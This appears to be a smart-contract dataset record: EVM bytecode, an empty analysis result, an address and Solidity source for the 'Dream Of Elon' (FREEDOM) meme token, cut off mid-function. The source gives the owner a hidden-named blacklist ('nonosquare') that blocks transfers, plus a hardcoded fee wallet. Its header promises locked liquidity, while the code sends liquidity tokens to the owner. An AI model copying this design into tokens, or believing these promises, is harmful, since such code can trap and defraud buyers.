0x6080604052600436106101dc5760003560e01c80638c86f10611610102578063c12d3cac11610095578063e37f440211610064578063e37f44021461074a578063f4c0400214610773578063fb94c9731461079e578063fff36b66146107c75761021c565b8063c12d3cac1461068e578063cf862c89146106b9578063cfb1facb146106e4578063dd62ed3e1461070d5761021c565b80639c09d5da116100d15780639c09d5da146105d4578063a65f5596146105ff578063a9059cbb14610628578063be34c166146106655761021c565b80638c86f106146105255780638f7792011461056257806395d89b411461058d57806398987a43146105b85761021c565b8063313ce5671161017a5780635c658165116101495780635c658165146104435780635fbac2ee1461048057806364c1a1e6146104bd57806370a08231146104e85761021c565b8063313ce5671461039657806334039d54146103c15780634b95033b146103dd57806351e34eea1461041a5761021c565b806318160ddd116101b657806318160ddd146102b45780631a313202146102df57806323b872dd1461031c57806327e235e3146103595761021c565b806306fdde0314610221578063095ea7b31461024c5780631269ab1c146102895761021c565b3661021c577f83189afe0f29288235b6ea4da03c0d1dec3ca16766a6a3f47b2847f6b715320533346040516102129291906128c6565b60405180910390a1005b600080fd5b34801561022d57600080fd5b506102366107f0565b6040516102439190612948565b60405180910390f35b34801561025857600080fd5b50610273600480360381019061026e91906124dc565b61087e565b604051610280919061292d565b60405180910390f35b34801561029557600080fd5b5061029e610970565b6040516102ab91906127f7565b60405180910390f35b3480156102c057600080fd5b506102c9610996565b6040516102d6919061298c565b60405180910390f35b3480156102eb57600080fd5b5061030660048036038101906103019190612679565b61099c565b6040516103139190612948565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190612489565b610a3c565b604051610350919061292d565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906123dc565b610cef565b60405161038d919061298c565b60405180910390f35b3480156103a257600080fd5b506103ab610d07565b6040516103b891906129ec565b60405180910390f35b6103db60048036038101906103d691906125d4565b610d1a565b005b3480156103e957600080fd5b5061040460048036038101906103ff9190612679565b610d58565b6040516104119190612948565b60405180910390f35b34801561042657600080fd5b50610441600480360381019061043c9190612679565b610df8565b005b34801561044f57600080fd5b5061046a60048036038101906104659190612449565b610e5c565b604051610477919061298c565b60405180910390f35b34801561048c57600080fd5b506104a760048036038101906104a2919061258b565b610e81565b6040516104b49190612948565b60405180910390f35b3480156104c957600080fd5b506104d2611125565b6040516104df9190612948565b60405180910390f35b3480156104f457600080fd5b5061050f600480360381019061050a91906123dc565b6111b3565b60405161051c919061298c565b60405180910390f35b34801561053157600080fd5b5061054c600480360381019061054791906125d4565b6111fc565b60405161055991906127f7565b60405180910390f35b34801561056e57600080fd5b50610577611401565b604051610584919061298c565b60405180910390f35b34801561059957600080fd5b506105a2611407565b6040516105af9190612948565b60405180910390f35b6105d260048036038101906105cd919061261d565b611495565b005b3480156105e057600080fd5b506105e9611695565b6040516105f691906127f7565b60405180910390f35b34801561060b57600080fd5b50610626600480360381019061062191906126a6565b6116bb565b005b34801561063457600080fd5b5061064f600480360381019061064a91906124dc565b611879565b60405161065c919061292d565b60405180910390f35b34801561067157600080fd5b5061068c60048036038101906106879190612409565b611a1b565b005b34801561069a57600080fd5b506106a3611b18565b6040516106b0919061298c565b60405180910390f35b3480156106c557600080fd5b506106ce611b1e565b6040516106db9190612948565b60405180910390f35b3480156106f057600080fd5b5061070b600480360381019061070691906123dc565b611bac565b005b34801561071957600080fd5b50610734600480360381019061072f9190612449565b611c4a565b604051610741919061298c565b60405180910390f35b34801561075657600080fd5b50610771600480360381019061076c91906123dc565b611cd1565b005b34801561077f57600080fd5b50610788611e4e565b604051610795919061298c565b60405180910390f35b3480156107aa57600080fd5b506107c560048036038101906107c091906125d4565b611e54565b005b3480156107d357600080fd5b506107ee60048036038101906107e9919061251c565b61209a565b005b600380546107fd90612cf2565b80601f016020809104026020016040519081016040528092919081815260200182805461082990612cf2565b80156108765780601f1061084b57610100808354040283529160200191610876565b820191906000526020600020905b81548152906001019060200180831161085957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161095e919061298c565b60405180910390a36001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b600d60205280600052604060002060009150905080546109bb90612cf2565b80601f01602080910402602001604051908101604052809291908181526020018280546109e790612cf2565b8015610a345780601f10610a0957610100808354040283529160200191610a34565b820191906000526020600020905b815481529060010190602001808311610a1757829003601f168201915b505050505081565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b0d5750828110155b610b1657600080fd5b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b659190612abf565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bbb9190612be1565b925050819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610c7e5782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c769190612be1565b925050819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cdb919061298c565b60405180910390a360019150509392505050565b60016020528060005260406000206000915090505481565b600460009054906101000a900460ff1681565b7fdea05a60e37a4d15693beacf0e87d27c1bad62401f40fa30140b56930c715d6d333483604051610d4d939291906128ef565b60405180910390a150565b600b6020528060005260406000206000915090508054610d7790612cf2565b80601f0160208091040260200160405190810160405280929190818152602001828054610da390612cf2565b8015610df05780601f10610dc557610100808354040283529160200191610df0565b820191906000526020600020905b815481529060010190602001808311610dd357829003601f168201915b505050505081565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5257600080fd5b80600e8190555050565b6002602052816000526040600020602052806000526040600020600091509150505481565b606060006040518060400160405280601b81526020017f4142434445464748494a4b4c4d4e4f505152535455565758595a39000000000081525090506014835114610ecb57600080fd5b6000605167ffffffffffffffff811115610ee857610ee7612e8b565b5b6040519080825280601f01601f191660200182016040528015610f1a5781602001600182028036833780820191505090505b50905060005b60288110156110b65782600f60f81b86601484610f3d9190612d9e565b81518110610f4e57610f4d612e5c565b5b602001015160f81c60f81b1660f81c60ff16600a610f6c9190612abf565b81518110610f7d57610f7c612e5c565b5b602001015160f81c60f81b826001600284610f989190612b4c565b610fa29190612abf565b81518110610fb357610fb2612e5c565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082600486601484610ff39190612d9e565b8151811061100457611003612e5c565b5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916901c60f81c60ff168151811061104a57611049612e5c565b5b602001015160f81c60f81b826002836110639190612b4c565b8151811061107457611073612e5c565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806110ae90612d55565b915050610f20565b507f3900000000000000000000000000000000000000000000000000000000000000816050815181106110ec576110eb612e5c565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508092505050919050565b6008805461113290612cf2565b80601f016020809104026020016040519081016040528092919081815260200182805461115e90612cf2565b80156111ab5780601f10611180576101008083540402835291602001916111ab565b820191906000526020600020905b81548152906001019060200180831161118e57829003601f168201915b505050505081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080601467ffffffffffffffff81111561121a57611219612e8b565b5b6040519080825280601f01601f19166020018201604052801561124c5781602001600182028036833780820191505090505b509050600083905060005b60148110156113ee57600060398360016002856112749190612b4c565b61127e9190612abf565b8151811061128f5761128e612e5c565b5b602001015160f81c60f81b60f81c60ff16146112fb57600a60418460016002866112b99190612b4c565b6112c39190612abf565b815181106112d4576112d3612e5c565b5b602001015160f81c60f81b60f81c6112ec9190612c15565b6112f69190612c15565b6112fe565b60105b905060006039846002856113129190612b4c565b8151811061132357611322612e5c565b5b602001015160f81c60f81b60f81c60ff1614611377576041846002856113499190612b4c565b8151811061135a57611359612e5c565b5b602001015160f81c60f81b60f81c6113729190612c15565b61137a565b601a5b90508160108261138a9190612ba6565b6113949190612b15565b60f81b8584815181106113aa576113a9612e5c565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350505080806113e690612d55565b915050611257565b506113f882612171565b92505050919050565b600c5481565b6005805461141490612cf2565b80601f016020809104026020016040519081016040528092919081815260200182805461144090612cf2565b801561148d5780601f106114625761010080835404028352916020019161148d565b820191906000526020600020905b81548152906001019060200180831161147057829003601f168201915b505050505081565b8160006001905060008290506051815114806114b25750605a8151145b6114bb57600080fd5b60005b81518110156115695760398282815181106114dc576114db612e5c565b5b602001015160f81c60f81b60f81c60ff16148061154d5750604182828151811061150957611508612e5c565b5b602001015160f81c60f81b60f81c60ff161015801561154c5750605a82828151811061153857611537612e5c565b5b602001015160f81c60f81b60f81c60ff1611155b5b61155657600092505b808061156190612d55565b9150506114be565b508161157457600080fd5b6001600c60008282546115879190612abf565b92505081905550600e5484101561159d57600080fd5b6115c9600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685611879565b506040518060400160405280600281526020017f5251000000000000000000000000000000000000000000000000000000000000815250600d6000600c548152602001908152602001600020908051906020019061162892919061218d565b507fc5d2540b0ad1af37a47d41e9a8276a6c3cd7b11580c19336c57a0cadc2cd320133600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168787600c54346040516116869695949392919061285e565b60405180910390a15050505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117645750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61176d57600080fd5b6000600d6000600c548152602001908152602001600020805461178f90612cf2565b80601f01602080910402602001604051908101604052809291908181526020018280546117bb90612cf2565b80156118085780601f106117dd57610100808354040283529160200191611808565b820191906000526020600020905b8154815290600101906020018083116117eb57829003601f168201915b5050505050905081600d6000600c548152602001908152602001600020908051906020019061183892919061218d565b507fb9b58226c1de6c44ec0423e83da94c54e64119fb7dcd6fa06c414bb538ebea2f83828460405161186c939291906129a7565b60405180910390a1505050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156118c757600080fd5b8273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff16141561190057600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461194f9190612be1565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119a59190612abf565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a09919061298c565b60405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611ac45750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611acd57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b13573d6000803e3d6000fd5b505050565b600a5481565b60098054611b2b90612cf2565b80601f0160208091040260200160405190810160405280929190818152602001828054611b5790612cf2565b8015611ba45780601f10611b7957610100808354040283529160200191611ba4565b820191906000526020600020905b815481529060010190602001808311611b8757829003601f168201915b505050505081565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c0657600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d2b57600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611d7757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611e4b57611e4981600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611879565b505b50565b600e5481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611efd5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611f0657600080fd5b806000600190506000829050605181511480611f235750605a8151145b611f2c57600080fd5b60005b8151811015611fda576039828281518110611f4d57611f4c612e5c565b5b602001015160f81c60f81b60f81c60ff161480611fbe57506041828281518110611f7a57611f79612e5c565b5b602001015160f81c60f81b60f81c60ff1610158015611fbd5750605a828281518110611fa957611fa8612e5c565b5b602001015160f81c60f81b60f81c60ff1611155b5b611fc757600092505b8080611fd290612d55565b915050611f2f565b5081611fe557600080fd5b60086009908054611ff590612cf2565b612000929190612213565b50836008908051906020019061201792919061218d565b506001600a600082825461202b9190612abf565b9250508190555083600b6000600a548152602001908152602001600020908051906020019061205b92919061218d565b507f3ee7bc7ffc8a38de8edb9874e7e8085bef04af81927572b7709c70c34a04c806600860405161208c919061296a565b60405180910390a150505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415612100576120fa8383611879565b5061212f565b61212d600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168484610a3c565b505b7f8e820427b9d1fb7fa1c6f53f8f14758246708b50db804cfb3b9c944d19c5d2f9833383856040516121649493929190612812565b60405180910390a1505050565b6000601482511461218157600080fd5b60148201519050919050565b82805461219990612cf2565b90600052602060002090601f0160209004810192826121bb5760008555612202565b82601f106121d457805160ff1916838001178555612202565b82800160010185558215612202579182015b828111156122015782518255916020019190600101906121e6565b5b50905061220f91906122a0565b5090565b82805461221f90612cf2565b90600052602060002090601f016020900481019282612241576000855561228f565b82601f10612252578054855561228f565b8280016001018555821561228f57600052602060002091601f016020900482015b8281111561228e578254825591600101919060010190612273565b5b50905061229c91906122a0565b5090565b5b808211156122b95760008160009055506001016122a1565b5090565b60006122d06122cb84612a2c565b612a07565b9050828152602081018484840111156122ec576122eb612ebf565b5b6122f7848285612cb0565b509392505050565b600061231261230d84612a5d565b612a07565b90508281526020810184848401111561232e5761232d612ebf565b5b612339848285612cb0565b509392505050565b60008135905061235081612edf565b92915050565b60008135905061236581612ef6565b92915050565b600082601f8301126123805761237f612eba565b5b81356123908482602086016122bd565b91505092915050565b600082601f8301126123ae576123ad612eba565b5b81356123be8482602086016122ff565b91505092915050565b6000813590506123d681612f0d565b92915050565b6000602082840312156123f2576123f1612ec9565b5b600061240084828501612341565b91505092915050565b600080604083850312156124205761241f612ec9565b5b600061242e85828601612356565b925050602061243f858286016123c7565b9150509250929050565b600080604083850312156124605761245f612ec9565b5b600061246e85828601612341565b925050602061247f85828601612341565b9150509250929050565b6000806000606084860312156124a2576124a1612ec9565b5b60006124b086828701612341565b93505060206124c186828701612341565b92505060406124d2868287016123c7565b9150509250925092565b600080604083850312156124f3576124f2612ec9565b5b600061250185828601612341565b9250506020612512858286016123c7565b9150509250929050565b60008060006060848603121561253557612534612ec9565b5b600061254386828701612341565b9350506020612554868287016123c7565b925050604084013567ffffffffffffffff81111561257557612574612ec4565b5b61258186828701612399565b9150509250925092565b6000602082840312156125a1576125a0612ec9565b5b600082013567ffffffffffffffff8111156125bf576125be612ec4565b5b6125cb8482850161236b565b91505092915050565b6000602082840312156125ea576125e9612ec9565b5b600082013567ffffffffffffffff81111561260857612607612ec4565b5b61261484828501612399565b91505092915050565b6000806040838503121561263457612633612ec9565b5b600083013567ffffffffffffffff81111561265257612651612ec4565b5b61265e85828601612399565b925050602061266f858286016123c7565b9150509250929050565b60006020828403121561268f5761268e612ec9565b5b600061269d848285016123c7565b91505092915050565b600080604083850312156126bd576126bc612ec9565b5b60006126cb858286016123c7565b925050602083013567ffffffffffffffff8111156126ec576126eb612ec4565b5b6126f885828601612399565b9150509250929050565b61270b81612c49565b82525050565b61271a81612c6d565b82525050565b600061272b82612aa3565b6127358185612aae565b9350612745818560208601612cbf565b61274e81612ece565b840191505092915050565b6000815461276681612cf2565b6127708186612aae565b9450600182166000811461278b576001811461279d576127d0565b60ff19831686526020860193506127d0565b6127a685612a8e565b60005b838110156127c8578154818901526001820191506020810190506127a9565b808801955050505b50505092915050565b6127e281612c99565b82525050565b6127f181612ca3565b82525050565b600060208201905061280c6000830184612702565b92915050565b60006080820190506128276000830187612702565b6128346020830186612702565b81810360408301526128468185612720565b905061285560608301846127d9565b95945050505050565b600060c0820190506128736000830189612702565b6128806020830188612702565b81810360408301526128928187612720565b90506128a160608301866127d9565b6128ae60808301856127d9565b6128bb60a08301846127d9565b979650505050505050565b60006040820190506128db6000830185612702565b6128e860208301846127d9565b9392505050565b60006060820190506129046000830186612702565b61291160208301856127d9565b81810360408301526129238184612720565b9050949350505050565b60006020820190506129426000830184612711565b92915050565b600060208201905081810360008301526129628184612720565b905092915050565b600060208201905081810360008301526129848184612759565b905092915050565b60006020820190506129a160008301846127d9565b92915050565b60006060820190506129bc60008301866127d9565b81810360208301526129ce8185612720565b905081810360408301526129e28184612720565b9050949350505050565b6000602082019050612a0160008301846127e8565b92915050565b6000612a11612a22565b9050612a1d8282612d24565b919050565b6000604051905090565b600067ffffffffffffffff821115612a4757612a46612e8b565b5b612a5082612ece565b9050602081019050919050565b600067ffffffffffffffff821115612a7857612a77612e8b565b5b612a8182612ece565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600082825260208201905092915050565b6000612aca82612c99565b9150612ad583612c99565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b0a57612b09612dcf565b5b828201905092915050565b6000612b2082612ca3565b9150612b2b83612ca3565b92508260ff03821115612b4157612b40612dcf565b5b828201905092915050565b6000612b5782612c99565b9150612b6283612c99565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b9b57612b9a612dcf565b5b828202905092915050565b6000612bb182612ca3565b9150612bbc83612ca3565b92508160ff0483118215151615612bd657612bd5612dcf565b5b828202905092915050565b6000612bec82612c99565b9150612bf783612c99565b925082821015612c0a57612c09612dcf565b5b828203905092915050565b6000612c2082612ca3565b9150612c2b83612ca3565b925082821015612c3e57612c3d612dcf565b5b828203905092915050565b6000612c5482612c79565b9050919050565b6000612c6682612c79565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015612cdd578082015181840152602081019050612cc2565b83811115612cec576000848401525b50505050565b60006002820490506001821680612d0a57607f821691505b60208210811415612d1e57612d1d612e2d565b5b50919050565b612d2d82612ece565b810181811067ffffffffffffffff82111715612d4c57612d4b612e8b565b5b80604052505050565b6000612d6082612c99565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d9357612d92612dcf565b5b600182019050919050565b6000612da982612c99565b9150612db483612c99565b925082612dc457612dc3612dfe565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b612ee881612c49565b8114612ef357600080fd5b50565b612eff81612c5b565b8114612f0a57600080fd5b50565b612f1681612c99565b8114612f2157600080fd5b5056fea2646970667358221220e5f225acea8ee0d38dbde61b9d208f93f2acb1608c55c87fe98cd908d5fec51864736f6c63430008060033
|
{"success": true, "error": null, "results": {}}
| 3,335 |
0x91d2b449e97a1bfef838c4326b9d4c0f10e2c228
|
/**
Freedom is the state of not being imprisoned or enslaved.
Join the fight for Free of Speech with Elon
liquidity will be locked
contract renounce
Tg @ 100k MC
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DreamOfElon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Dream Of Elon";
string private constant _symbol = "FREEDOM";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xa1057070553b03451cC41265740D2acF91469A55);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(2).div(100);
_maxWalletSize = _tTotal.mul(3).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
